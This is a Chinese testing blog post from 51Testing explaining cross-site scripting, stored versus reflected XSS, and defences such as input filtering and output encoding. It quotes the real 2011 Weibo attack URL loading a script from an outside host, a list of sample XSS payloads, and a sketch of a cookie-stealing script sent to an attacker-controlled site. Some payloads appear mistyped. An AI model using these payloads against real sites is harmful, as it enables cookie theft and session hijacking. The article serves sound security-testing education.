安全测试之XSS攻击

发表于:2014-5-05 11:12

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:zzzmmmkkk    来源:51Testing软件测试网博客

  XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容,甚至其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
  XSS攻击有两种方法:
  一类是来自内部的攻击,主要指的是利用网页自身的漏洞,将恶意脚本注入到网页,当用户访问此页面时,恶意脚本也会跟着执行,这样恶意脚本就能利用到用户的所有状态数据执行恶意操作,称为存储型XSS。2011年新浪微博的XSS攻击就是此类,主要是通过未过滤处理的URL中的参数来加载攻击者已写好的脚本,并且使用短链服务将URL伪装,然后通过诱人的话题欺骗用户访问该链接后在浏览器运行,达到攻击的目的。如将http://163.fm/PxZHoxn指向
  http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。所以我们应该严防短链接。
  它利用脚本提前闭合标签来达到执行该脚本的目的。
  例如输入内容:
  <script>alert(document.cookie)</script>
  "/><script>alert(document.cookie)</script>
  " nload="jQuery.getScript('js文件地址')
  " nload="with(document)body.appendChild(createElement('script')).src='js文件地址'
  < INPUT SRC=”javascript.:alert(‘XSS’);”>
  < IFRAME. SRC=”javascript.:alert(‘XSS’);”></IFRAME>
  <STYLE>.XSS{background-image:url(“javascript.:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
  < EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED> 嵌入flash,包含了XSS
  <A HREF=”http://127.0.0.1/”>XSS</A>
  另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页(当然傻子才这么干),然后构造跨站脚本如收集cookie的JS上传到这个站点A上,通过目标服务器B的漏洞(如http://www.b.com?content=<script. src=”www.a.com?hack.js”></script>)通过再结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开这个URL使JS执行发送cookie到A上。称之为反射型XSS。它的危害不及存储型XSS,因为只对当前页面访问产生影响,是一次性的。
  如何防范?
  1. 输入校验
  对 用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”、双引号等可能导致脚本注入的特殊字符,或者过滤“script”、 “javascript”等脚本关键字,或者对输入数据的长度及格式进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码如 “<</span>”(“<”)、“>”(“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相 应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。
  2. 输出编码
  通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代 码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
  3. 严防外部的Javascript
  外部的Javascript一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
版权声明:本文出自 zzzmmmkkk 的51Testing软件测试博客:http://www.51testing.com/?258885
原创作品,转载时请务必以超链接形式标明本文原始出处、作者信息和本声明,否则将追究法律责任。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号